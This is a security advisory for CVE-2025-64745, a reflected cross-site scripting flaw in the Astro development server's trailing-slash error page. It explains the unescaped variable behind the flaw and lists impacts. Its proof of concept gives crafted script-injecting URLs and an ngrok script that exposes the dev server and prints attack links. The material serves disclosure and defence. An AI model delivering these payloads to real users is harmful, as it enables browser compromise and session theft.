CVE-2025-64745

LOW2.7EPSS 0.03%

Astro development server error page is vulnerable to reflected Cross-site Scripting

Published: 11/13/2025Modified: 11/27/2025

Description

## Summary A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. ## Details ### Vulnerability Location https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149 ### Root Cause The vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches. **Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text. ### Attack Vector When a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered. ## PoC ### Local Testing (localhost) Basic vulnerability verification in local development environment <details> <summary>Show details</summary> `astro.config.mjs`: ```javascript import { defineConfig } from 'astro/config'; export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } }); ``` `package.json`: ```json { "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } } ``` Start the development server: ```bash npm install npm run dev ``` Access the following malicious URL depending on your configuration: **For `trailingSlash: 'never'`** (requires trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!--/ ``` **For `trailingSlash: 'always'`** (no trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!-- ``` When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (`alert(document.domain)`) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution </details> ### Remote Testing (ngrok) Reproduce realistic attack scenario via external malicious link <details> <summary>Show details</summary> Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`) Setup and Execution: ```bash #!/bin/bash set -e mkdir -p logs npm i npm run dev > ./logs/victim.log 2>&1 & ngrok http 3000 > ./logs/ngrok.log 2>&1 & sleep 3 NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--" echo "" wait ``` When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always'). </details> ## Impact This only affects the **development server**. Risk depends on how and where the dev server is exposed. ### Security impact * **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser. * **Session hijacking**: Active developer sessions can be stolen if services are open in the browser. * **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies. * **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure. ### Attack scenarios * **Social engineering**: Malicious link sent to a developer triggers the XSS when opened. * **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs. * **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.

Affected packages (1)

CVSS scores

SourceVersionSeverityVector
osvCVSS 3.1LOW2.7CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N

References (6)